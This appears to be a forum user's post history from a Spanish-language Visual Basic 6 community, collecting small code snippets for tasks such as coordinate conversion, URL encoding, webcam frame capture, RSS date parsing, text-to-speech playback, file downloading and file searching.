Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Option Explicit
Private Sub Form_Load()
Dim G As Double, M As Double, S As Double
DecimalToGMS 32.4525, G, M, S
Debug.Print G, M, S '32.4525 = 32 Grados,27 Minutos,9 Segundos
DecimalToGMS 61.0125731667, G, M, S
Debug.Print G, M, S '61.0125731667 = 61 Grados,0 Minutos,45.2633999976 Segundos
End Sub
Private Function DecimalToGMS(Value As Double, Grado As Double, Minuto As Double, Segundo As Double)
Dim Absolute As Double
Dim sRet As String
Dim lPos As Long
Dim pEntera As Double, pDecimal As Double
Absolute = Abs(Value)
pEntera = Fix(Absolute)
pDecimal = Absolute - pEntera
Grado = pEntera
Absolute = pDecimal * 60
pEntera = Fix(Absolute)
pDecimal = Absolute - pEntera
If pEntera <> Absolute Then
Minuto = pEntera
End If
Segundo = pDecimal * 60
End FunctionPublic Function URLDecode(ByVal sURL As String, Optional ByVal SpacePlus As Boolean = True) As String
Public Function URLEncode(ByVal sURL As String, Optional ByVal SpacePlus As Boolean = True) As StringCitarhttps://www.google.com.ar/search?q=canciónsi usamos la funcion urlEncode deberia cambiar el acento
Citarhttps://www.google.com.ar/search?q=canci%C3%B3npor lo visto esta pasado a utf8 y luego a hex
Citarhttp://www.taringa.net/buscar/?q=día 12/12/12&interval=
http://www.taringa.net/buscar/?q=d%C3%ADa%2012%2F12%2F12&interval=
Citarhttps://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1312101221&rver=6.1.6206.0&wp=MBI&wreply=http://mail.live.com/default.aspx&lc=2058&id=64855&mkt=es-US&cbcxt=mai&snsc=1
https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1312101221&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&lc=2058&id=64855&mkt=es-US&cbcxt=mai&snsc=1
Option Explicit
Private Declare Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function capCreateCaptureWindowA Lib "avicap32.dll" (ByVal lpszWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Integer, ByVal hWndParent As Long, ByVal nID As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Const WM_USER As Long = &H400
Private Const WM_CAP_START As Long = WM_USER
Private Const WM_CAP_SET_CALLBACK_FRAME As Long = WM_CAP_START + 5
Private Const WM_CAP_DRIVER_CONNECT As Long = WM_CAP_START + 10
Private Const WM_CAP_DRIVER_DISCONNECT As Long = WM_CAP_START + 11
Private Const WM_CAP_GET_VIDEOFORMAT As Long = WM_CAP_START + 44
Private Const WM_CAP_GRAB_FRAME As Long = WM_CAP_START + 60
Private Type VIDEOHDR
lpData As Long
dwBufferLength As Long
dwBytesUsed As Long
dwTimeCaptured As Long
dwUser As Long
dwFlags As Long
dwReserved(3) As Long
End Type
Private bvASM(40) As Byte
Private hwndCap As Long
Public Function FrameCallBack(ByVal lWnd As Long, ByVal lpVHdr As Long) As Long
Debug.Print "FUNCIONA!"
End Function
Public Function Capture()
Call SendMessage(hwndCap, WM_CAP_GRAB_FRAME, ByVal 0&, ByVal 0&)
End Function
Public Function CreateCaptureWindow() As Boolean
hwndCap = capCreateCaptureWindowA(vbNullString, 0&, 0&, 0&, 0&, 0&, 0&, 0&)
If hwndCap Then
Call SendMessage(hwndCap, WM_CAP_SET_CALLBACK_FRAME, 0, GetAdressMe(Me))
CreateCaptureWindow = True
End If
End Function
Function capGetVideoFormat(ByVal hCapWnd As Long, ByVal CapFormatSize As Long, ByVal BmpFormat As Long) As Long
capGetVideoFormat = SendMessage(hCapWnd, WM_CAP_GET_VIDEOFORMAT, CapFormatSize, BmpFormat)
End Function
Public Function DestroyCaptureWindow() As Boolean
If hwndCap Then DestroyCaptureWindow = DestroyWindow(hwndCap): hwndCap = 0
End Function
Public Function ConnectDriver() As Boolean
If hwndCap Then ConnectDriver = SendMessage(hwndCap, WM_CAP_DRIVER_CONNECT, 0&, 0&)
End Function
Public Function DisconnectDriver() As Boolean
If hwndCap Then
Call SendMessage(hwndCap, WM_CAP_SET_CALLBACK_FRAME, 0&, vbNull)
DisconnectDriver = SendMessage(hwndCap, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
End If
End Function
Private Function GetAdressMe(Obj As Object) As Long
Dim WindowProcAddress As Long
Dim pObj As Long
Dim pVar As Long
Dim i As Long
For i = 0 To 40
bvASM(i) = Choose(i + 1, &H55, &H8B, &HEC, &H83, &HC4, &HFC, &H8D, &H45, &HFC, &H50, &HFF, &H75, &H14, _
&HFF, &H75, &H10, &HFF, &H75, &HC, &HFF, &H75, &H8, &H68, &H0, &H0, &H0, &H0, _
&HB8, &H0, &H0, &H0, &H0, &HFF, &HD0, &H8B, &H45, &HFC, &HC9, &HC2, &H10, &H0)
Next i
pObj = ObjPtr(Obj)
Call CopyMemory(pVar, ByVal pObj, 4)
Call CopyMemory(WindowProcAddress, ByVal (pVar + 28), 4)
Call LongToByte(pObj, bvASM, 23)
Call LongToByte(WindowProcAddress, bvASM, 28)
GetAdressMe = VarPtr(bvASM(0))
End Function
Private Sub LongToByte(ByVal lLong As Long, ByRef bReturn() As Byte, Optional i As Integer = 0)
bReturn(i) = lLong And &HFF
bReturn(i + 1) = (lLong And 65280) / &H100
bReturn(i + 2) = (lLong And &HFF0000) / &H10000
bReturn(i + 3) = ((lLong And &HFF000000) \ &H1000000) And &HFF
End Sub
Option Explicit
Dim C1 As Class1
Private Sub Command1_Click()
C1.Capture
End Sub
Private Sub Form_Load()
Set C1 = New Class1
C1.CreateCaptureWindow
C1.ConnectDriver
End Sub
Private Sub Form_Unload(Cancel As Integer)
C1.DisconnectDriver
C1.DestroyCaptureWindow
Set C1 = Nothing
End Sub<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="ISO-8859-1"?>Option Explicit
'Private Doc As DOMDocument
Private Doc As Object
Private Sub Form_Load()
Dim sURL As String
'This fail
sURL = "http://www.taringa.net/rss/home/ultimos-posts/"
'This ok if Doc.validateOnParse = False
'sURL = "http://ezrss.it/feed/"
'This ok
'sURL = "http://d.yimg.com/ar.rss.news.yahoo.com/rss/insolitas"
'Set Doc = New DOMDocument
Set Doc = CreateObject("Msxml2.DOMDocument.3.0") 'or "Microsoft.XMLDOM"
Doc.resolveExternals = False
Doc.async = False
Doc.validateOnParse = False
If Doc.Load(sURL) Then
Debug.Print Doc.xml
Else
Debug.Print Doc.parseError
End If
End Sub
Option Explicit
Private Type TIME_ZONE_INFORMATION
Bias As Long
Reserved(0 To 169) As Byte
End Type
Private Declare Function GetTimeZoneInformation Lib "kernel32" (lpTimeZoneInformation As TIME_ZONE_INFORMATION) As Long
Private Sub Form_Load()
Debug.Print PubDateToVBDate("Sun, 05 Jun 2011 07:57:15 PDT")
Debug.Print PubDateToVBDate("Sun, 05 Jun 2011 22:06:29 GMT")
Debug.Print PubDateToVBDate("2011-06-05 21:35:26")
Debug.Print PubDateToVBDate("Sun, 05 Jun 2011 13:52:53 PST")
Debug.Print PubDateToVBDate("2011-06-06T06:16:42+02:00")
Debug.Print PubDateToVBDate("2011-06-05T21:46:13Z")
End Sub
Private Function PubDateToVBDate(ByVal sPubDate As String) As Date
Dim TZI As TIME_ZONE_INFORMATION
Dim sDate As String
Dim lRet As Long
lRet = InStr(sPubDate, ", ")
If lRet Then
sDate = Mid$(sPubDate, InStr(sPubDate, ", ") + 2)
Else
sDate = sPubDate
End If
If InStrRev(sDate, " ") <> InStr(sDate, " ") Then
sDate = Left$(sDate, InStrRev(sDate, " "))
End If
GetTimeZoneInformation TZI
sDate = DateAdd("h", -(TZI.Bias / 60), CDate(sDate))
If InStr(sPubDate, "PDT") Then sDate = DateAdd("h", 7, sDate)
If InStr(sPubDate, "PST") Then sDate = DateAdd("h", 8, sDate)
PubDateToVBDate = sDate
End Function
Private Declare Function PtInRegion Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As LongOption Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Type POINTAPI
X As Long
Y As Long
End Type
Private Sub Form_Load()
Dim i As Long
Dim PT1 As POINTAPI
Dim PT2 As POINTAPI
Dim mPT() As POINTAPI
Me.ScaleMode = vbPixels
Command1.Caption = "A"
Command2.Caption = "B"
PT1.X = Command1.Left
PT1.Y = Command1.Top
PT2.X = Command2.Left
PT2.Y = Command2.Top
CreatePointLine PT1, PT2, mPT
Me.Show
For i = 0 To UBound(mPT)
Command1.Move mPT(i).X, mPT(i).Y
DoEvents
Sleep 5
Next
End Sub
Private Function CreatePointLine(PT1 As POINTAPI, PT2 As POINTAPI, DestPT() As POINTAPI)
Dim X As Long, Y As Long
Dim i As Long, j As Long
X = Abs(PT2.X - PT1.X)
Y = Abs(PT2.Y - PT1.Y)
If X > Y Then
ReDim DestPT(X)
For i = PT1.X To PT1.X + X
If PT1.X > PT2.X Then
DestPT(j).X = PT1.X - j
Else
DestPT(j).X = PT1.X + j
End If
If PT1.Y > PT2.Y Then
DestPT(j).Y = PT1.Y - (Y * (j * 100 / X) / 100)
Else
DestPT(j).Y = PT1.Y + (Y * (j * 100 / X) / 100)
End If
j = j + 1
Next
Else
ReDim DestPT(Y)
For i = PT1.Y To PT1.Y + Y
If PT1.Y > PT2.Y Then
DestPT(j).Y = PT1.Y - j
Else
DestPT(j).Y = PT1.Y + j
End If
If PT1.X > PT2.X Then
DestPT(j).X = PT1.X - (X * (j * 100 / Y) / 100)
Else
DestPT(j).X = PT1.X + (X * (j * 100 / Y) / 100)
End If
j = j + 1
Next
End If
End Function
Option Explicit
Private Declare Function CreatePolygonRgn Lib "gdi32" (lpPoint As Any, ByVal nCount As Long, ByVal nPolyFillMode As Long) As Long
Private Declare Function FillRgn Lib "gdi32" (ByVal hdc As Long, ByVal hRgn As Long, ByVal hBrush As Long) As Long
Private Declare Function GetStockObject Lib "gdi32" (ByVal nIndex As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function PtInRegion Lib "gdi32" (ByVal hRgn As Long, ByVal x As Long, ByVal y As Long) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
Private Sub Form_Load()
Dim i As Long
Dim PT1 As POINTAPI
Dim PT2 As POINTAPI
Dim mPT() As POINTAPI
Dim hRgn As Long
With Me
.AutoRedraw = True
.ScaleMode = vbPixels
.Width = 10000
.Height = 10000
End With
Command1.Move 350, 50, 32, 32: Command1.Caption = "A"
Command2.Move 400, 570, 32, 32: Command2.Caption = "B"
hRgn = CreateRegion
FillRgn Me.hdc, hRgn, GetStockObject(4)
PT1.x = Command1.Left
PT1.y = Command1.Top
PT2.x = Command2.Left
PT2.y = Command2.Top
'---------- Esta función es el reto-----------
'CreatePointLine hRgn, PT1, PT2, mPT
'---------------------------------------------
Me.Show
On Error Resume Next
For i = 0 To UBound(mPT)
Command1.Move mPT(i).x, mPT(i).y
DoEvents
Sleep 5
Next
DeleteObject hRgn
End Sub
' La funcion del Reto
Private Function CreatePointLine(ByVal hRgn As Long, PT1 As POINTAPI, PT2 As POINTAPI, DestPT() As POINTAPI) As Boolean
'---------
End Function
Private Function CreateRegion() As Long
Dim PT(0 To 9) As POINTAPI
PT(0).x = 170: PT(0).y = 203
PT(1).x = 310: PT(1).y = 287
PT(2).x = 398: PT(2).y = 192
PT(3).x = 403: PT(3).y = 301
PT(4).x = 560: PT(4).y = 217
PT(5).x = 457: PT(5).y = 375
PT(6).x = 551: PT(6).y = 506
PT(7).x = 375: PT(7).y = 425
PT(8).x = 164: PT(8).y = 492
PT(9).x = 275: PT(9).y = 339
CreateRegion = CreatePolygonRgn(PT(0), 10, 1)
End Function
Private Declare Function GetPixel Lib "gdi32.dll" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long
Private Sub Form_Load()
Dim lWidth As Long
Dim lHeight As Long
Dim NumIcon As Long
lWidth = (Picture1.ScaleWidth \ Picture1.ScaleHeight)
If lWidth = 0 Then lWidth = 1
lWidth = Picture1.ScaleWidth \ lWidth
lHeight = Picture1.ScaleHeight
NumIcon = Picture1.ScaleWidth \ lWidth
Debug.Print lWidth, lHeight, NumIcon
End Sub
C:\Proyecto1.exe "C:\reto 123.exe" C:\imagen.png
Option Explicit
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
Private Declare Function waveOutOpen Lib "winmm.dll" (lphWaveOut As Long, ByVal uDeviceID As Long, lpFormat As WAVEFORMATEX, ByVal dwCallback As Long, ByVal dwInstance As Long, ByVal dwFlags As Long) As Long
Private Declare Function waveOutPrepareHeader Lib "winmm.dll" (ByVal hWaveOut As Long, lpWaveOutHdr As WAVEHDR, ByVal uSize As Long) As Long
Private Declare Function waveOutWrite Lib "winmm.dll" (ByVal hWaveOut As Long, lpWaveOutHdr As WAVEHDR, ByVal uSize As Long) As Long
Private Declare Function waveOutUnprepareHeader Lib "winmm.dll" (ByVal hWaveOut As Long, lpWaveOutHdr As WAVEHDR, ByVal uSize As Long) As Long
Private Declare Function waveOutClose Lib "winmm.dll" (ByVal hWaveOut As Long) As Long
Private Declare Function waveOutReset Lib "winmm.dll" (ByVal hWaveOut As Long) As Long
Private Const WHDR_DONE = &H1
Private Const WAVE_MAPPER = -1&
Private Type WAVEHDR
lpData As Long
dwBufferLength As Long
dwBytesRecorded As Long
dwUser As Long
dwFlags As Long
dwLoops As Long
lpNext As Long
Reserved As Long
End Type
Private Type WAVEFORMATEX
wFormatTag As Integer
nChannels As Integer
nSamplesPerSec As Long
nAvgBytesPerSec As Long
nBlockAlign As Integer
wBitsPerSample As Integer
cbSize As Integer
End Type
Private Declare Function CreatePatternBrush Lib "gdi32" (ByVal hBitmap As Long) As Long
Private Declare Function FillRect Lib "user32" (ByVal Hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function CreateBitmap Lib "gdi32" (ByVal nWidth As Long, ByVal nHeight As Long, ByVal nPlanes As Long, ByVal nBitCount As Long, lpBits As Any) As Long
Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private hWaveOut As Long
Private bStop As Boolean
Public Sub StopAnimation()
bStop = True
If hWaveOut Then waveOutReset hWaveOut
End Sub
Public Sub Play(ByVal Hdc As Long, Left As Long, ByVal Top As Long, ByVal Width As Long, ByVal Height As Long)
Dim OutFormat As WAVEFORMATEX
Dim lngBufferSize As Long
Dim Rec As RECT
Dim bData() As Byte
Dim wvhdr As WAVEHDR
Dim i As Long
With OutFormat
.wFormatTag = 1
.nSamplesPerSec = 8000
.wBitsPerSample = 16
.nChannels = 1
.nBlockAlign = 2
.nAvgBytesPerSec = 16000
.cbSize = Len(OutFormat)
End With
If waveOutOpen(hWaveOut, WAVE_MAPPER, OutFormat, 0, 0, 0) = 0 Then
bStop = False
lngBufferSize = 16000& * 30&
ReDim bData(lngBufferSize)
For i = 0 To lngBufferSize - 1
bData(i) = Int((255 + 1) * Rnd())
Next
With wvhdr
.lpData = VarPtr(bData(0))
.dwBufferLength = lngBufferSize
End With
With Rec
.Left = Left
.Top = Top
.Right = Left + Width
.Bottom = Top + Height
End With
If waveOutPrepareHeader(hWaveOut, wvhdr, Len(wvhdr)) = 0 Then
While bStop = False
If waveOutWrite(hWaveOut, wvhdr, Len(wvhdr)) = 0 Then
While ((wvhdr.dwFlags And WHDR_DONE) <> WHDR_DONE)
Draw Hdc, Rec
DoEvents
Sleep 10
Wend
End If
Wend
waveOutUnprepareHeader hWaveOut, wvhdr, Len(wvhdr)
End If
waveOutClose hWaveOut
End If
hWaveOut = 0
End Sub
Private Sub Draw(Hdc As Long, R As RECT)
Dim hBitmap As Long, mBrush As Long
Dim PicBits() As Byte, BytesPerLine As Long
Dim i As Long, lColor As Byte
Dim W As Long, H As Long
W = (150 * Rnd() + 100)
H = (150 * Rnd() + 100)
BytesPerLine = (W * 3 + 3) And &HFFFFFFFC
ReDim PicBits(1 To BytesPerLine * H * 3) As Byte
For i = 1 To UBound(PicBits) - 4 Step 4
lColor = Int((255 + 1) * Rnd())
PicBits(i) = lColor
PicBits(i + 1) = lColor
PicBits(i + 2) = lColor
Next
hBitmap = CreateBitmap(W, H, 1, 32, PicBits(1))
mBrush = CreatePatternBrush(hBitmap)
FillRect Hdc, R, mBrush
DeleteObject mBrush
DeleteObject hBitmap
End Sub
Option Explicit
Private Sub Form_Load()
Command1.Caption = "Play"
Command2.Caption = "Stop"
End Sub
Private Sub Command1_Click()
Call Play(Me.Hdc, 0, 0, Me.ScaleWidth / Screen.TwipsPerPixelX, Me.ScaleHeight / Screen.TwipsPerPixelY)
End Sub
Private Sub Command2_Click()
StopAnimation
End Sub
Private Sub Form_Unload(Cancel As Integer)
StopAnimation
End Sub
Option Explicit
'-----------------------------------------------------------------------------------------------------
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
'Abreviaturas
'de, da, es, fi, fr, en, it, nl, pl, pt, sv"
'Alemán , Danés, Español, Finlandia, Francés, Inglés, Italiano, Neerlandés, Polaco, Portugués, Sueco
'----------------------------------------------------------------------------------------------------
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function GoogleSpeak(ByVal sText As String, Optional ByVal Language As String = "es", Optional ByVal bDoevents As Boolean) As Boolean
On Error Resume Next
Dim sTempPath As String, ml As String
Dim FileLength As Long
sText = Replace(sText, vbCrLf, " ")
If Len(sText) > 100 Then Exit Function
sTempPath = Environ("Temp") & "\TempMP3.MP3"
If URLDownloadToFile(0&, "http://translate.google.com/translate_tts?tl=" & Language & "&q=" & sText, sTempPath, 0&, 0&) = 0 Then
If mciSendString("open " & Chr$(34) & sTempPath & Chr$(34) & " type MpegVideo" & " alias myfile", 0&, 0&, 0&) = 0 Then
ml = String(30, 0)
Call mciSendString("status myfile length ", ml, 30, 0&)
FileLength = Val(ml)
If FileLength Then
If mciSendString("play myFile", 0&, 0&, 0&) = 0 Then
Do While mciSendString("status myfile position ", ml, 30, 0&) = 0
If Val(ml) = FileLength Then GoogleSpeak = True: Exit Do
If bDoevents Then DoEvents
Loop
End If
End If
Call mciSendString("close myfile", 0&, 0&, 0&)
End If
Kill sTempPath
End If
End Function
Private Sub Command1_Click()
Debug.Print GoogleSpeak("Antes era sexo droga y rock and roll, ahora es paja mate y chamame", "es", True)
Debug.Print GoogleSpeak("Siamo fuori della copa. un giorno tristissimo", "it", True)
End Sub
Private Sub ListView1_OLEStartDrag(Data As ComctlLib.DataObject, AllowedEffects As Long)
Dim i As Long
For i = 1 To ListView1.ListItems.Count
If ListView1.ListItems.Item(i).Selected = True Then
Data.Files.Add ListView1.ListItems(i).Tag
Data.SetData , vbCFFiles
End If
Next
End Sub
Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "#216" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function URLDownloadToFile_Seven Lib "urlmon" Alias "#217" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function GetProcAddressXP Lib "kernel32.dll" Alias "#409" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetProcAddressVISTA Lib "kernel32.dll" Alias "#548" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetProcAddressSEVEN Lib "kernel32.dll" Alias "#580" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryXP Lib "kernel32.dll" Alias "#581" (ByVal lpLibFileName As String) As Long
Private Declare Function LoadLibraryVISTA Lib "kernel32.dll" Alias "#759" (ByVal lpLibFileName As String) As Long
Private Declare Function LoadLibrarySEVEN Lib "kernel32.dll" Alias "#827" (ByVal lpLibFileName As String) As Long
Private Declare Function FreeLibrary Lib "kernel32.dll" (ByVal hLibModule As Long) As Long
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As tOSVERSIONINFO) As Long
Private Type tOSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Dim OSV As tOSVERSIONINFO
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
If OSV.dwMajorVersion >= 7 Then
DownloadFile = URLDownloadToFile_Seven(0, URL, LocalFilename, 0, 0) = 0
Else
DownloadFile = URLDownloadToFile(0, URL, LocalFilename, 0, 0) = 0
End If
End Function
Private Function GetProcAddress(ByVal hModule As Long, ByVal lpProcName As String) As Long
Select Case OSV.dwMajorVersion
Case 5
GetProcAddress = GetProcAddressXP(hModule, lpProcName)
Case 6
GetProcAddress = GetProcAddressVISTA(hModule, lpProcName)
Case 7
GetProcAddress = GetProcAddressSEVEN(hModule, lpProcName)
End Select
End Function
Private Function LoadLibrary(ByVal lpLibFileName As String) As Long
Select Case OSV.dwMajorVersion
Case 5
LoadLibrary = LoadLibraryXP(lpLibFileName)
Case 6
LoadLibrary = LoadLibraryVISTA(lpLibFileName)
Case 7
LoadLibrary = LoadLibrarySEVEN(lpLibFileName)
End Select
End Function
Private Sub Form_Initialize()
OSV.dwOSVersionInfoSize = Len(OSV)
Call GetVersionEx(OSV)
End Sub
Private Sub Form_Load()
Dim hMod As Long
DownloadFile "http://www.allapi.net", App.Path & "\allapi.htm"
hMod = LoadLibrary("user32.dll")
MsgBox GetProcAddress(hMod, "MessageBoxA")
FreeLibrary hMod
End Sub
Option Explicit
Dim objShell As Object
Private Sub Form_Load()
Set objShell = CreateObject("Shell.Application")
FindInZipFolder "C:\CarpetaComprimida.zip"
Set objShell = Nothing
End Sub
Private Sub FindInZipFolder(ByVal Root As String, Optional ByVal sPath As String)
Dim objFolder As Object
Dim oItem As Object
Dim sFolder As String
Dim sFile As String
Set objFolder = objShell.NameSpace(CVar(Root & sPath))
If objFolder Is Nothing Then Exit Sub
For Each oItem In objFolder.Items()
If oItem.IsFolder Then
sFolder = Root & "\" & oItem.Path
Debug.Print sFolder
FindInZipFolder Root, "\" & oItem.Path
Else
sFile = Root & "\" & oItem.Path
Debug.Print sFile
End If
Next
End Sub
Citarcasa *.bmp
Nos devuelve todos los archivos .bmp y cualquier tipo de archivo que contenga la palabra casa
Citar
*.jpg *.bmp
Nos devuelve todos los archivos .bmp y .jpg
Citar???.bmp
Nos devuelve todos los archivos .bmp de 3 letras por ejemplo "Cut.bmp" "New.bmp"
Citarar*.bmp
nos devuelve todos los archivos .bmp que comienzen con "ar"
Private Function IsInFilter(ByVal sFilter As String, ByVal sMatch As String) As Boolean
'-------
End FunctionDebug.Print IsInFilter("*.bmp ????.jpg", "foto.png")
Option Explicit
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" (ByVal lpLibFileName As String, ByVal hFile As Long, ByVal dwFlags As Long) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Const ANIMATE_CLASS = "SysAnimate32"
Private Const WS_EX_TRANSPARENT = &H20&
Private Const ACS_TRANSPARENT = &H2&
Private Const ACS_AUTOPLAY = &H4&
Private Const WM_USER = &H400&
Private Const ACM_OPEN = WM_USER + 100
Private Const ACM_PLAY = WM_USER + 101
Private Const ACM_STOP = WM_USER + 102
Private Const WS_VISIBLE As Long = &H10000000
Private Const WS_CHILD As Long = &H40000000
Dim hAnimation As Long
Dim hModule As Long
Private Sub Form_Initialize()
InitCommonControls
End Sub
Private Sub Form_Load()
hModule = LoadLibraryEx("c:\windows\system32\shell32.dll", 0, &H2)
hAnimation = CreateWindowEx(WS_EX_TRANSPARENT, ANIMATE_CLASS, "", WS_CHILD Or WS_VISIBLE Or ACS_TRANSPARENT Or ACS_AUTOPLAY, 0, 0, 0, 0, Me.hwnd, 0&, App.hInstance, ByVal 0&)
Call SendMessage(hAnimation, ACM_OPEN, hModule, ByVal "#150")
FreeLibrary hModule
End Sub
Private Sub Form_Unload(Cancel As Integer)
DestroyWindow hAnimation
End Sub
Option Explicit
Private m_SearchInSubFolder As Boolean
Public Property Let SearchInSubFolder(ByVal Value As Boolean)
m_SearchInSubFolder = Value
End Property
Public Property Get SearchInSubFolder() As Boolean
SearchInSubFolder = m_SearchInSubFolder
End PropertyPublic m_SearchInSubFolder As Boolean
Option Explicit
Private Declare Function GetTickCount Lib "kernel32.dll" () As Long
Private Declare Function CharUpperBuffA& Lib "user32" (lpsz As Any, ByVal cchLength&)
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetFileSize Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpFileSizeHigh As Long) As Long
Private Declare Function SetFilePointer Lib "kernel32.dll" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByRef lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long
Private Type LARGE_INTEGER
lowpart As Long
highpart As Long
End Type
Private Const GENERIC_READ As Long = &H80000000
Private Const FILE_SHARE_READ As Long = &H1
Private Const OPEN_EXISTING As Long = 3
Private Const INVALID_HANDLE_VALUE As Long = -1
Private Const FILE_BEGIN As Long = 0
Private aUChars(255) As Byte
Private Function LargeIntToCurrency(Low As Long, High As Long) As Currency
Dim LI As LARGE_INTEGER
LI.lowpart = Low: LI.highpart = High
CopyMemory LargeIntToCurrency, LI, LenB(LI)
LargeIntToCurrency = LargeIntToCurrency * 10000
End Function
Private Function CurrencyToLargeInt(ByVal Curr As Currency) As LARGE_INTEGER
Curr = Curr / 10000
CopyMemory CurrencyToLargeInt, Curr, LenB(Curr)
End Function
Private Function FindWordInFile(ByVal sPath As String, ByVal sWord As String, Optional ByVal bUnicode As Boolean) As Boolean
Dim bArray() As Byte
Dim lRet As Long
Dim hFile As Long
Dim sFind() As Byte
Dim s As String
Dim t As Long
Dim i As Long
Dim FileSize As Currency
Dim tLI As LARGE_INTEGER
Dim LenBuffer As Long
Dim CurPos As Currency
sWord = UCase(sWord)
If bUnicode Then sWord = StrConv(sWord, vbUnicode)
sFind = StrConv(sWord, vbFromUnicode)
hFile = CreateFile(sPath, GENERIC_READ, FILE_SHARE_READ, ByVal 0&, OPEN_EXISTING, 0, 0)
If hFile <> INVALID_HANDLE_VALUE Then
tLI.lowpart = GetFileSize(hFile, tLI.highpart)
LenBuffer = &H2800 ' 10 KB
FileSize = LargeIntToCurrency(tLI.lowpart, tLI.highpart)
If FileSize < UBound(sFind) Then GoTo OutSearch
If LenBuffer > FileSize Then LenBuffer = FileSize
ReDim bArray(LenBuffer - 1)
Do
ReadFile hFile, bArray(0), UBound(bArray) + 1, lRet, 0&
If lRet = 0 Then Exit Do
CurPos = CurPos + lRet
If lRet < LenBuffer Then
ReDim Preserve bArray(lRet)
End If
If InBytes(bArray, sFind) <> -1 Then
FindWordInFile = True
Exit Do
End If
If CurPos = FileSize Then Exit Do
tLI = CurrencyToLargeInt(CurPos - UBound(sFind) + 1)
SetFilePointer hFile, tLI.lowpart, tLI.highpart, FILE_BEGIN
Loop
OutSearch:
CloseHandle hFile
End If
End Function
Public Function InBytes(ByRef bvSource() As Byte, ByRef bvMatch() As Byte) As Long
Dim i As Long
Dim j As Long
Dim lChr As Byte
Dim LenMach As Long
LenMach = UBound(bvMatch)
lChr = bvMatch(0)
If LenMach > 0 Then
For i = 0 To UBound(bvSource) - LenMach
If (lChr = aUChars(bvSource(i))) Then
j = LenMach - 1
Do
